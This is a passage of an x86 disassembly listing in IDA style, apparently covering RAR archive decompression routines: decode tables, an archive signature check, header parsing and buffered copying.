ptr -75h var_74 = byte ptr -74h var_73 = byte ptr -73h var_72 = byte ptr -72h var_71 = byte ptr -71h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = byte ptr -6Eh var_6D = byte ptr -6Dh var_6C = byte ptr -6Ch var_6B = byte ptr -6Bh var_6A = byte ptr -6Ah var_69 = byte ptr -69h var_68 = byte ptr -68h var_67 = byte ptr -67h var_66 = byte ptr -66h var_65 = byte ptr -65h var_64 = byte ptr -64h var_63 = byte ptr -63h var_62 = byte ptr -62h var_61 = byte ptr -61h var_60 = byte ptr -60h var_5F = byte ptr -5Fh var_5E = byte ptr -5Eh var_5D = byte ptr -5Dh var_5C = byte ptr -5Ch var_5B = byte ptr -5Bh var_5A = byte ptr -5Ah var_59 = byte ptr -59h var_58 = byte ptr -58h var_57 = byte ptr -57h var_56 = byte ptr -56h var_55 = byte ptr -55h var_54 = byte ptr -54h var_53 = byte ptr -53h var_52 = byte ptr -52h var_51 = byte ptr -51h var_50 = byte ptr -50h var_4F = byte ptr -4Fh var_4E = byte ptr -4Eh var_4D = byte ptr -4Dh var_4C = byte ptr -4Ch var_4B = byte ptr -4Bh var_4A = byte ptr -4Ah var_49 = byte ptr -49h var_48 = byte ptr -48h var_47 = byte ptr -47h var_46 = byte ptr -46h var_45 = byte ptr -45h var_44 = byte ptr -44h var_43 = byte ptr -43h var_42 = byte ptr -42h var_41 = byte ptr -41h var_40 = byte ptr -40h var_3F = byte ptr -3Fh var_3E = byte ptr -3Eh var_3D = byte ptr -3Dh var_3C = byte ptr -3Ch var_3B = byte ptr -3Bh var_3A = byte ptr -3Ah var_39 = byte ptr -39h var_38 = byte ptr -38h var_37 = byte ptr -37h var_36 = byte ptr -36h var_35 = byte ptr -35h var_34 = byte ptr -34h var_33 = byte ptr -33h var_32 = byte ptr -32h var_31 = byte ptr -31h var_30 = byte ptr -30h var_2F = byte ptr -2Fh var_2E = byte ptr -2Eh var_2D = byte ptr -2Dh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = byte ptr -2Ah var_29 = byte ptr -29h var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = byte ptr -26h var_25 = byte ptr -25h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = byte ptr -22h var_21 = byte ptr -21h var_20 = byte ptr -20h var_1F = byte ptr -1Fh var_1E = byte ptr -1Eh var_1D = byte ptr -1Dh var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp lea ebp, [esp-70h] sub esp, 188h push ebx xor ebx, ebx push edi mov edi, eax xor eax, eax inc eax mov [ebp+70h+var_3C], bl mov [ebp+70h+var_3B], 1 mov [ebp+70h+var_3A], 2 mov [ebp+70h+var_39], 3 mov [ebp+70h+var_38], 4 mov [ebp+70h+var_37], 5 mov [ebp+70h+var_36], 6 mov [ebp+70h+var_35], 7 mov [ebp+70h+var_34], 8 mov [ebp+70h+var_33], 0Ah mov [ebp+70h+var_32], 0Ch mov [ebp+70h+var_31], 0Eh mov [ebp+70h+var_30], 10h mov [ebp+70h+var_2F], 14h mov [ebp+70h+var_2E], 18h mov [ebp+70h+var_2D], 1Ch mov [ebp+70h+var_2C], 20h mov [ebp+70h+var_2B], 28h mov [ebp+70h+var_2A], 30h mov [ebp+70h+var_29], 38h mov [ebp+70h+var_28], 40h mov [ebp+70h+var_27], 50h mov [ebp+70h+var_26], 60h mov [ebp+70h+var_25], 70h mov [ebp+70h+var_24], 80h mov [ebp+70h+var_23], 0A0h mov [ebp+70h+var_22], 0C0h mov [ebp+70h+var_21], 0E0h mov [ebp+70h+var_58], bl mov [ebp+70h+var_57], bl mov [ebp+70h+var_56], bl mov [ebp+70h+var_55], bl mov [ebp+70h+var_54], bl mov [ebp+70h+var_53], bl mov [ebp+70h+var_52], bl mov [ebp+70h+var_51], bl mov [ebp+70h+var_50], 1 mov [ebp+70h+var_4F], 1 mov [ebp+70h+var_4E], 1 mov [ebp+70h+var_4D], 1 mov [ebp+70h+var_4C], 2 mov [ebp+70h+var_4B], 2 mov [ebp+70h+var_4A], 2 mov [ebp+70h+var_49], 2 mov [ebp+70h+var_48], 3 mov [ebp+70h+var_47], 3 mov [ebp+70h+var_46], 3 mov [ebp+70h+var_45], 3 mov [ebp+70h+var_44], 4 mov [ebp+70h+var_43], 4 mov [ebp+70h+var_42], 4 mov [ebp+70h+var_41], 4 mov [ebp+70h+var_40], 5 mov [ebp+70h+var_3F], 5 mov [ebp+70h+var_3E], 5 mov [ebp+70h+var_3D], 5 mov [ebp+70h+var_188], ebx mov [ebp+70h+var_184], eax mov [ebp+70h+var_180], 2 mov [ebp+70h+var_17C], 3 mov [ebp+70h+var_178], 4 mov [ebp+70h+var_174], 6 mov [ebp+70h+var_170], 8 mov [ebp+70h+var_16C], 0Ch mov [ebp+70h+var_168], 10h mov [ebp+70h+var_164], 18h mov [ebp+70h+var_160], 20h mov [ebp+70h+var_15C], 30h mov [ebp+70h+var_158], 40h mov [ebp+70h+var_154], 60h mov [ebp+70h+var_150], 80h mov [ebp+70h+var_14C], 0C0h mov [ebp+70h+var_148], 100h mov [ebp+70h+var_144], 180h mov [ebp+70h+var_140], 200h mov [ebp+70h+var_13C], 300h mov [ebp+70h+var_138], 400h mov [ebp+70h+var_134], 600h mov [ebp+70h+var_130], 800h mov [ebp+70h+var_12C], 0C00h mov [ebp+70h+var_128], 1000h mov [ebp+70h+var_124], 1800h mov [ebp+70h+var_120], 2000h mov [ebp+70h+var_11C], 3000h mov [ebp+70h+var_118], 4000h mov [ebp+70h+var_114], 6000h mov [ebp+70h+var_110], 8000h mov [ebp+70h+var_10C], 0C000h mov [ebp+70h+var_108], 10000h mov [ebp+70h+var_104], 18000h mov [ebp+70h+var_100], 20000h mov [ebp+70h+var_FC], 30000h mov [ebp+70h+var_F8], 40000h mov [ebp+70h+var_F4], 50000h mov [ebp+70h+var_F0], 60000h mov [ebp+70h+var_EC], 70000h mov [ebp+70h+var_E8], 80000h mov [ebp+70h+var_E4], 90000h mov [ebp+70h+var_E0], 0A0000h mov [ebp+70h+var_DC], 0B0000h mov [ebp+70h+var_D8], 0C0000h mov [ebp+70h+var_D4], 0D0000h mov [ebp+70h+var_D0], 0E0000h mov [ebp+70h+var_CC], 0F0000h mov [ebp+70h+var_C8], 100000h mov [ebp+70h+var_C4], 140000h mov [ebp+70h+var_C0], 180000h mov [ebp+70h+var_BC], 1C0000h mov [ebp+70h+var_B8], 200000h mov [ebp+70h+var_B4], 240000h mov [ebp+70h+var_B0], 280000h mov [ebp+70h+var_AC], 2C0000h mov [ebp+70h+var_A8], 300000h mov [ebp+70h+var_A4], 340000h mov [ebp+70h+var_A0], 380000h mov [ebp+70h+var_9C], 3C0000h mov [ebp+70h+var_94], bl mov [ebp+70h+var_93], bl mov [ebp+70h+var_92], bl mov [ebp+70h+var_91], bl mov [ebp+70h+var_90], al mov [ebp+70h+var_8F], al mov [ebp+70h+var_8E], 2 mov [ebp+70h+var_8D], 2 mov [ebp+70h+var_8C], 3 mov [ebp+70h+var_8B], 3 mov [ebp+70h+var_8A], 4 mov [ebp+70h+var_89], 4 mov [ebp+70h+var_88], 5 mov [ebp+70h+var_87], 5 mov [ebp+70h+var_86], 6 mov [ebp+70h+var_85], 6 mov [ebp+70h+var_84], 7 mov [ebp+70h+var_83], 7 mov [ebp+70h+var_82], 8 mov [ebp+70h+var_81], 8 mov [ebp+70h+var_80], 9 mov [ebp+70h+var_7F], 9 mov [ebp+70h+var_7E], 0Ah mov [ebp+70h+var_7D], 0Ah mov [ebp+70h+var_7C], 0Bh mov [ebp+70h+var_7B], 0Bh mov [ebp+70h+var_7A], 0Ch mov [ebp+70h+var_79], 0Ch mov [ebp+70h+var_78], 0Dh mov [ebp+70h+var_77], 0Dh mov [ebp+70h+var_76], 0Eh mov [ebp+70h+var_75], 0Eh mov [ebp+70h+var_74], 0Fh mov [ebp+70h+var_73], 0Fh mov [ebp+70h+var_72], 10h mov [ebp+70h+var_71], 10h mov [ebp+70h+var_70], 10h mov [ebp+70h+var_6F], 10h mov [ebp+70h+var_6E], 10h mov [ebp+70h+var_6D], 10h push edi push [ebp+70h+arg_4] mov [ebp+70h+var_6C], 10h mov [ebp+70h+var_6B], 10h mov [ebp+70h+var_6A], 10h mov [ebp+70h+var_69], 10h mov [ebp+70h+var_68], 10h mov [ebp+70h+var_67], 10h mov [ebp+70h+var_66], 10h mov [ebp+70h+var_65], 10h mov [ebp+70h+var_64], 12h mov [ebp+70h+var_63], 12h mov [ebp+70h+var_62], 12h mov [ebp+70h+var_61], 12h mov [ebp+70h+var_60], 12h mov [ebp+70h+var_5F], 12h mov [ebp+70h+var_5E], 12h mov [ebp+70h+var_5D], 12h mov [ebp+70h+var_5C], 12h mov [ebp+70h+var_5B], 12h mov [ebp+70h+var_5A], 12h mov [ebp+70h+var_59], 12h mov [ebp+70h+var_18], bl mov [ebp+70h+var_17], 4 mov [ebp+70h+var_16], 8 mov [ebp+70h+var_15], 10h mov [ebp+70h+var_14], 20h mov [ebp+70h+var_13], 40h mov [ebp+70h+var_12], 80h mov [ebp+70h+var_11], 0C0h mov [ebp+70h+var_20], 2 mov [ebp+70h+var_1F], 2 mov [ebp+70h+var_1E], 3 mov [ebp+70h+var_1D], 4 mov [ebp+70h+var_1C], 5 mov [ebp+70h+var_1B], 6 mov [ebp+70h+var_1A], 6 mov [ebp+70h+var_19], 6 mov [ebp+70h+var_C], eax call sub_9B0206 push edi push [ebp+70h+arg_0] call sub_9AF2B0 add esp, 10h test eax, eax jz short loc_9B0768 cmp [ebp+70h+arg_4], ebx jz short loc_9B0759 cmp [edi+408014h], ebx jnz short loc_9B076F loc_9B0759: ; CODE XREF: sub_9B030E+441j push [ebp+70h+arg_0] mov eax, edi call sub_9AF875 test eax, eax pop ecx jnz short loc_9B076F loc_9B0768: ; CODE XREF: sub_9B030E+43Cj xor eax, eax jmp loc_9B0A4A ; --------------------------------------------------------------------------- loc_9B076F: ; CODE XREF: sub_9B030E+449j ; sub_9B030E+458j push esi loc_9B0770: ; CODE XREF: sub_9B030E+5A1j ; sub_9B030E+5DEj ... mov eax, [edi+408004h] mov esi, 3FFFFFh and [edi+40800Ch], esi cmp eax, [edi+40801Ch] jle short loc_9B079C push edi push [ebp+70h+arg_0] call sub_9AF2B0 test eax, eax pop ecx pop ecx jz loc_9B0B92 loc_9B079C: ; CODE XREF: sub_9B030E+479j mov eax, [edi+408010h] mov ecx, [edi+40800Ch] mov edx, eax sub edx, ecx and edx, esi cmp edx, 104h jnb short loc_9B07C1 cmp eax, ecx jz short loc_9B07C1 mov eax, edi call sub_9AF4A5 loc_9B07C1: ; CODE XREF: sub_9B030E+4A6j ; sub_9B030E+4AAj cmp dword ptr [edi+408020h], 1 jnz loc_9B08F1 push edi push [ebp+70h+arg_0] lea esi, [edi+408B10h] push esi call sub_9B25BF add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+70h+var_10], eax jz loc_9B0B7F cmp eax, [edi+40D79Ch] jnz loc_9B08D9 push edi push [ebp+70h+arg_0] push esi call sub_9B25BF add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_9B0B92 cmp eax, ebx jnz short loc_9B0822 push [ebp+70h+arg_0] mov eax, edi call sub_9AF875 jmp loc_9B0A60 ; --------------------------------------------------------------------------- loc_9B0822: ; CODE XREF: sub_9B030E+503j cmp eax, 2 jz loc_9B0A3F cmp eax, 3 jnz short loc_9B083D push [ebp+70h+arg_0] call sub_9B012B jmp loc_9B0A60 ; --------------------------------------------------------------------------- loc_9B083D: ; CODE XREF: sub_9B030E+520j cmp eax, 4 jnz short loc_9B08B4 mov [ebp+70h+var_8], ebx mov [ebp+70h+var_10], ebx mov [ebp+70h+var_4], ebx loc_9B084B: ; CODE XREF: sub_9B030E+581j cmp [ebp+70h+var_10], ebx jnz loc_9B0B92 push edi push [ebp+70h+arg_0] push esi call sub_9B25BF add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_9B086F mov [ebp+70h+var_10], 1 jmp short loc_9B0888 ; --------------------------------------------------------------------------- loc_9B086F: ; CODE XREF: sub_9B030E+556j cmp [ebp+70h+var_4], 3 movzx eax, al jnz short loc_9B087D mov [ebp+70h+var_98], eax jmp short loc_9B0888 ; --------------------------------------------------------------------------- loc_9B087D: ; CODE XREF: sub_9B030E+568j mov ecx, [ebp+70h+var_8] shl ecx, 8 add ecx, eax mov [ebp+70h+var_8], ecx loc_9B0888: ; CODE XREF: sub_9B030E+55Fj ; sub_9B030E+56Dj inc [ebp+70h+var_4] cmp [ebp+70h+var_4], 4 jl short loc_9B084B cmp [ebp+70h+var_10], ebx jnz loc_9B0B92 mov eax, [ebp+70h+var_8] mov ecx, [ebp+70h+var_98] add eax, 2 add ecx, 20h loc_9B08A6: ; CODE XREF: sub_9B030E+806j push eax loc_9B08A7: ; CODE XREF: sub_9B030E+5C6j ; sub_9B030E+77Bj mov eax, edi call sub_9AF1C4 loc_9B08AE: ; CODE XREF: sub_9B030E+86Cj pop ecx jmp loc_9B0770 ; --------------------------------------------------------------------------- loc_9B08B4: ; CODE XREF: sub_9B030E+532j cmp eax, 5 jnz short loc_9B08D6 push edi push [ebp+70h+arg_0] push esi call sub_9B25BF add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_9B0B92 push 1 lea ecx, [eax+4] jmp short loc_9B08A7 ; --------------------------------------------------------------------------- loc_9B08D6: ; CODE XREF: sub_9B030E+5A9j mov eax, [ebp+70h+var_10] loc_9B08D9: ; CODE XREF: sub_9B030E+4E5j ; sub_9B030E+5F9j mov ecx, [edi+40800Ch] mov [ecx+edi+8004h], al inc dword ptr [edi+40800Ch] jmp loc_9B0770 ; --------------------------------------------------------------------------- loc_9B08F1: ; CODE XREF: sub_9B030E+4BAj lea eax, [edi+4081C0h] push eax push edi call sub_9AF7C6 mov edx, 100h cmp eax, edx pop ecx pop ecx jl short loc_9B08D9 mov ecx, 10Fh cmp eax, ecx jl loc_9B0A28 sub eax, ecx movzx esi, [ebp+eax+70h+var_3C] movzx eax, [ebp+eax+70h+var_58] add esi, 3 cmp eax, ebx mov [ebp+70h+var_8], esi mov [ebp+70h+var_4], eax jbe short loc_9B094E push edi call sub_9AF27D push 10h pop ecx sub ecx, [ebp+70h+var_4] push [ebp+70h+var_4] shr eax, cl push edi add esi, eax mov [ebp+70h+var_8], esi call sub_9AF25A add esp, 0Ch loc_9B094E: ; CODE XREF: sub_9B030E+61Fj lea eax, [edi+4086F0h] push eax push edi call sub_9AF7C6 mov esi, [ebp+eax*4+70h+var_188] pop ecx pop ecx movzx ecx, [ebp+eax+70h+var_94] inc esi cmp ecx, ebx mov [ebp+70h+var_4], ecx jbe loc_9B0A02 cmp eax, 9 jle short loc_9B09E6 cmp ecx, 4 jbe short loc_9B09A3 push edi call sub_9AF27D mov edx, eax mov eax, [ebp+70h+var_4] push 14h pop ecx sub ecx, eax shr edx, cl add eax, 0FFFFFFFCh push eax push edi shl edx, 4 add esi, edx call sub_9AF25A add esp, 0Ch loc_9B09A3: ; CODE XREF: sub_9B030E+66Fj mov eax, [edi+408028h] cmp eax, ebx jle short loc_9B09B6 dec eax mov [edi+408028h], eax jmp short loc_9B09D4 ; --------------------------------------------------------------------------- loc_9B09B6: ; CODE XREF: sub_9B030E+69Dj lea eax, [edi+408864h] push eax push edi call sub_9AF7C6 cmp eax, 10h pop ecx pop ecx jnz short loc_9B09DC mov dword ptr [edi+408028h], 0Fh loc_9B09D4: ; CODE XREF: sub_9B030E+6A6j add esi, [edi+408024h] jmp short loc_9B0A02 ; --------------------------------------------------------------------------- loc_9B09DC: ; CODE XREF: sub_9B030E+6BAj add esi, eax mov [edi+408024h], eax jmp short loc_9B0A02 ; --------------------------------------------------------------------------- loc_9B09E6: ; CODE XREF: sub_9B030E+66Aj push edi call sub_9AF27D push 10h pop ecx sub ecx, [ebp+70h+var_4] push [ebp+70h+var_4] shr eax, cl push edi add esi, eax call sub_9AF25A add esp, 0Ch loc_9B0A02: ; CODE XREF: sub_9B030E+661j ; sub_9B030E+6CCj ... cmp esi, 2000h jb short loc_9B0A18 inc [ebp+70h+var_8] cmp esi, 40000h jb short loc_9B0A18 inc [ebp+70h+var_8] loc_9B0A18: ; CODE XREF: sub_9B030E+6FAj ; sub_9B030E+705j push esi mov eax, edi call sub_9AF19A mov ecx, [ebp+70h+var_8] jmp loc_9B0B65 ; --------------------------------------------------------------------------- loc_9B0A28: ; CODE XREF: sub_9B030E+602j cmp eax, edx jnz short loc_9B0A51 push [ebp+70h+arg_0] mov esi, edi call sub_9AFB2B test eax, eax pop ecx jnz loc_9B0770 loc_9B0A3F: ; CODE XREF: sub_9B030E+517j mov eax, edi call sub_9AF4A5 loc_9B0A46: ; CODE XREF: sub_9B030E+887j mov eax, [ebp+70h+var_C] pop esi loc_9B0A4A: ; CODE XREF: sub_9B030E+45Cj pop edi pop ebx add ebp, 70h leave retn ; --------------------------------------------------------------------------- loc_9B0A51: ; CODE XREF: sub_9B030E+71Cj cmp eax, 101h jnz short loc_9B0A6E push [ebp+70h+arg_0] call sub_9B0051 loc_9B0A60: ; CODE XREF: sub_9B030E+50Fj ; sub_9B030E+52Aj test eax, eax pop ecx jnz loc_9B0770 jmp loc_9B0B92 ; --------------------------------------------------------------------------- loc_9B0A6E: ; CODE XREF: sub_9B030E+748j cmp eax, 102h jnz short loc_9B0A8E mov ecx, [edi+408B0Ch] cmp ecx, ebx jz loc_9B0770 push dword ptr [edi+408B08h] jmp loc_9B08A7 ; --------------------------------------------------------------------------- loc_9B0A8E: ; CODE XREF: sub_9B030E+765j cmp eax, 107h jge loc_9B0B19 add eax, 0FFFFFEFDh cmp eax, ebx lea ecx, [edi+eax*4+408AF4h] mov edx, [ecx] mov [ebp+70h+var_8], edx jle short loc_9B0ABF mov [ebp+70h+var_10], eax loc_9B0AB1: ; CODE XREF: sub_9B030E+7AFj dec [ebp+70h+var_10] lea esi, [ecx-4] mov eax, [esi] mov [ecx], eax mov ecx, esi jnz short loc_9B0AB1 loc_9B0ABF: ; CODE XREF: sub_9B030E+79Ej lea eax, [edi+40892Ch] push eax push edi mov [edi+408AF4h], edx call sub_9AF7C6 movzx esi, [ebp+eax+70h+var_3C] movzx eax, [ebp+eax+70h+var_58] inc esi pop ecx inc esi cmp eax, ebx pop ecx mov [ebp+70h+var_4], eax jbe short loc_9B0B03 push edi call sub_9AF27D push 10h pop ecx sub ecx, [ebp+70h+var_4] push [ebp+70h+var_4] shr eax, cl push edi add esi, eax call sub_9AF25A add esp, 0Ch loc_9B0B03: ; CODE XREF: sub_9B030E+7D7j mov eax, [ebp+70h+var_8] mov [edi+408B08h], eax mov [edi+408B0Ch], esi mov ecx, esi jmp loc_9B08A6 ; --------------------------------------------------------------------------- loc_9B0B19: ; CODE XREF: sub_9B030E+785j cmp eax, 110h jge loc_9B0770 movzx esi, byte ptr [ebp+eax+70h+var_120+1] sub eax, 107h movzx eax, [ebp+eax+70h+var_20] inc esi cmp eax, ebx mov [ebp+70h+var_4], eax jbe short loc_9B0B5A push edi call sub_9AF27D push 10h pop ecx sub ecx, [ebp+70h+var_4] push [ebp+70h+var_4] shr eax, cl push edi add esi, eax call sub_9AF25A add esp, 0Ch loc_9B0B5A: ; CODE XREF: sub_9B030E+82Ej push esi mov eax, edi call sub_9AF19A push 2 pop ecx loc_9B0B65: ; CODE XREF: sub_9B030E+715j push esi mov eax, edi mov [edi+408B08h], esi mov [edi+408B0Ch], ecx call sub_9AF1C4 pop ecx jmp loc_9B08AE ; --------------------------------------------------------------------------- loc_9B0B7F: ; CODE XREF: sub_9B030E+4D9j lea eax, [edi+408B10h] push eax call sub_9B24A5 pop ecx mov [edi+408020h], ebx loc_9B0B92: ; CODE XREF: sub_9B030E+488j ; sub_9B030E+4FBj ... mov [ebp+70h+var_C], ebx jmp loc_9B0A46 sub_9B030E endp ; =============== S U B R O U T I N E ======================================= sub_9B0B9A proc near ; CODE XREF: sub_9B0FE1+13Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h xor eax, eax cmp [esp+arg_4], 1Dh jnz short locret_9B0BB6 push [esp+arg_8] mov eax, [esp+4+arg_C] push [esp+4+arg_0] call sub_9B030E pop ecx pop ecx locret_9B0BB6: ; CODE XREF: sub_9B0B9A+7j retn sub_9B0B9A endp ; =============== S U B R O U T I N E ======================================= sub_9B0BB7 proc near ; CODE XREF: sub_9B0C53+1Dp ; sub_9B0C53+85p ... var_2 = byte ptr -2 push ecx sub eax, 73h push esi jz short loc_9B0C0E dec eax jz short loc_9B0BC5 loc_9B0BC1: ; CODE XREF: sub_9B0BB7+1Bj ; sub_9B0BB7+64j ... xor eax, eax jmp short loc_9B0C01 ; --------------------------------------------------------------------------- loc_9B0BC5: ; CODE XREF: sub_9B0BB7+8j push 34h ; Size call malloc mov esi, eax test esi, esi pop ecx jz short loc_9B0BC1 push 20h ; Size push esi ; Dst push edi ; int call sub_9B3D6A add esp, 0Ch cmp eax, 20h jnz short loc_9B0C2E test byte ptr [esi+4], 1 jz short loc_9B0C04 push 8 ; Size lea eax, [esi+20h] push eax ; Dst push edi ; int call sub_9B3D6A add esp, 0Ch cmp eax, 8 loc_9B0BFD: ; CODE XREF: sub_9B0BB7+9Aj jnz short loc_9B0C2E loc_9B0BFF: ; CODE XREF: sub_9B0BB7+55j ; sub_9B0BB7+85j mov eax, esi loc_9B0C01: ; CODE XREF: sub_9B0BB7+Cj pop esi pop ecx retn ; --------------------------------------------------------------------------- loc_9B0C04: ; CODE XREF: sub_9B0BB7+32j and dword ptr [esi+20h], 0 and dword ptr [esi+24h], 0 jmp short loc_9B0BFF ; --------------------------------------------------------------------------- loc_9B0C0E: ; CODE XREF: sub_9B0BB7+5j push 0Dh ; Size call malloc mov esi, eax test esi, esi pop ecx jz short loc_9B0BC1 push 0Dh ; Size push esi ; Dst push edi ; int call sub_9B3D6A add esp, 0Ch cmp eax, 0Dh jz short loc_9B0C38 loc_9B0C2E: ; CODE XREF: sub_9B0BB7+2Cj ; sub_9B0BB7:loc_9B0BFDj push esi ; Memory call free pop ecx jmp short loc_9B0BC1 ; --------------------------------------------------------------------------- loc_9B0C38: ; CODE XREF: sub_9B0BB7+75j test byte ptr [esi+4], 2 jz short loc_9B0BFF push 1 ; Size lea eax, [esp+0Bh] push eax ; Dst push edi ; int call sub_9B3D6A add esp, 0Ch cmp eax, 1 jmp short loc_9B0BFD sub_9B0BB7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9B0C53 proc near ; CODE XREF: sub_9B0F21+Bp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_0] push 1 push 0 push edi call sub_9B3E22 add esp, 0Ch mov [ebp+var_4], eax push 74h pop eax call sub_9B0BB7 mov esi, eax test esi, esi jz short loc_9B0CE3 mov ebx, free loc_9B0C81: ; CODE XREF: sub_9B0C53+8Ej movzx eax, word ptr [esi+5] mov ecx, [ebp+var_4] add eax, ecx test byte ptr [esi+4], 80h mov [esi+2Ch], ecx mov [esi+30h], eax jz short loc_9B0C9E mov edx, [esi+7] add edx, eax mov [esi+30h], edx loc_9B0C9E: ; CODE XREF: sub_9B0C53+41j mov eax, [esi+30h] cmp eax, ecx jle short loc_9B0CEA movzx ecx, byte ptr [esi+2] cmp ecx, [ebp+arg_4] jz short loc_9B0CEF mov edi, [ebp+arg_0] push 0 push eax push edi call sub_9B3E22 add esp, 0Ch cmp eax, [esi+30h] jnz short loc_9B0CE3 push esi ; Memory call ebx ; free push 1 push 0 push edi call sub_9B3E22 add esp, 10h mov [ebp+var_4], eax push 74h pop eax call sub_9B0BB7 mov esi, eax test esi, esi jnz short loc_9B0C81 loc_9B0CE3: ; CODE XREF: sub_9B0C53+26j ; sub_9B0C53+6Dj ... xor eax, eax loc_9B0CE5: ; CODE XREF: sub_9B0C53+DEj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_9B0CEA: ; CODE XREF: sub_9B0C53+50j ; sub_9B0C53+AEj push esi ; Memory call ebx ; free jmp short loc_9B0D25 ; --------------------------------------------------------------------------- loc_9B0CEF: ; CODE XREF: sub_9B0C53+59j movzx eax, word ptr [esi+1Ah] inc eax push eax ; Size call malloc test eax, eax pop ecx mov [esi+28h], eax jz short loc_9B0CEA movzx ecx, word ptr [esi+1Ah] movzx edi, word ptr [esi+1Ah] push ecx ; Size push eax ; Dst push [ebp+arg_0] ; int call sub_9B3D6A add esp, 0Ch cmp eax, edi jz short loc_9B0D28 push dword ptr [esi+28h] ; Memory call ebx ; free push esi ; Memory call ebx ; free pop ecx loc_9B0D25: ; CODE XREF: sub_9B0C53+9Aj pop ecx jmp short loc_9B0CE3 ; --------------------------------------------------------------------------- loc_9B0D28: ; CODE XREF: sub_9B0C53+C7j mov eax, [esi+28h] mov byte ptr [edi+eax], 0 mov eax, esi jmp short loc_9B0CE5 sub_9B0C53 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9B0D33 proc near ; CODE XREF: sub_9B0DF4+18p Buf1 = byte ptr -10h Buf2 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push 7 ; Size lea eax, [ebp+Buf1] push eax ; Dst push [ebp+arg_0] ; int mov [ebp+Buf2], 52h mov [ebp+var_7], 61h mov [ebp+var_6], 72h mov [ebp+var_5], 21h mov [ebp+var_4], 1Ah mov [ebp+var_3], 7 mov [ebp+var_2], 0 call sub_9B3D6A add esp, 0Ch cmp eax, 7 jz short loc_9B0D6F xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_9B0D6F: ; CODE XREF: sub_9B0D33+36j push 7 ; Size lea eax, [ebp+Buf2] push eax ; Buf2 lea eax, [ebp+Buf1] push eax ; Buf1 call memcmp add esp, 0Ch neg eax sbb eax, eax inc eax leave retn sub_9B0D33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9B0D88 proc near ; CODE XREF: sub_9B0FE1+CBp Dst = byte ptr -2000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 2000h call __alloca_probe push ebx mov ebx, [ebp+arg_8] test ebx, ebx push esi push edi jbe short loc_9B0DDE loc_9B0D9F: ; CODE XREF: sub_9B0D88+54j mov edi, 2000h cmp ebx, edi ja short loc_9B0DAA mov edi, ebx loc_9B0DAA: ; CODE XREF: sub_9B0D88+1Ej push edi ; Size lea eax, [ebp+Dst] push eax ; Dst push [ebp+arg_0] ; int call sub_9B3D6A mov esi, eax add esp, 0Ch cmp esi, edi jnz short loc_9B0DE6 push esi ; Size lea eax, [ebp+Dst] push eax ; Src push [ebp+arg_4] ; int call sub_9B3DC6 add esp, 0Ch cmp eax, esi jnz short loc_9B0DEB sub ebx, esi jnz short loc_9B0D9F loc_9B0DDE: ; CODE XREF: sub_9B0D88+15j mov eax, [ebp+arg_8] loc_9B0DE1: ; CODE XREF: sub_9B0D88+6Aj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_9B0DE6: ; CODE XREF: sub_9B0D88+39j mov eax, [ebp+arg_8] jmp short loc_9B0DF0 ; --------------------------------------------------------------------------- loc_9B0DEB: ; CODE XREF: sub_9B0D88+50j mov eax, [ebp+arg_8] sub eax, esi loc_9B0DF0: ; CODE XREF: sub_9B0D88+61j sub eax, ebx jmp short loc_9B0DE1 sub_9B0D88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9B0DF4(int, void *Memory) sub_9B0DF4 proc near ; CODE XREF: sub_9AF0BC+53p arg_0 = dword ptr 8 Memory = dword ptr 0Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+Memory] test ebx, ebx jnz short loc_9B0E07 push 0FFFFFFFEh pop eax jmp loc_9B0F1E ; --------------------------------------------------------------------------- loc_9B0E07: ; CODE XREF: sub_9B0DF4+9j push edi mov edi, [ebp+arg_0] push edi call sub_9B0D33 test eax, eax pop ecx jnz short loc_9B0E1E loc_9B0E16: ; CODE XREF: sub_9B0DF4+37j push 0FFFFFFFEh pop eax jmp loc_9B0F1D ; --------------------------------------------------------------------------- loc_9B0E1E: ; CODE XREF: sub_9B0DF4+20j push 73h pop eax call sub_9B0BB7 test eax, eax mov [ebp+Memory], eax jz short loc_9B0E16 test byte ptr [eax+3], 80h push esi jz short loc_9B0E39 push 2 loc_9B0E36: ; CODE XREF: sub_9B0DF4+4Ej pop esi jmp short loc_9B0E5E ; --------------------------------------------------------------------------- loc_9B0E39: ; CODE XREF: sub_9B0DF4+3Ej cmp word ptr [eax+5], 0Dh jnb short loc_9B0E44 push 0FFFFFFFEh jmp short loc_9B0E36 ; --------------------------------------------------------------------------- loc_9B0E44: ; CODE XREF: sub_9B0DF4+4Aj push 411BD8h ; Size call malloc mov esi, eax xor edi, edi cmp esi, edi pop ecx jnz short loc_9B0E6D mov eax, [ebp+Memory] or esi, 0FFFFFFFFh 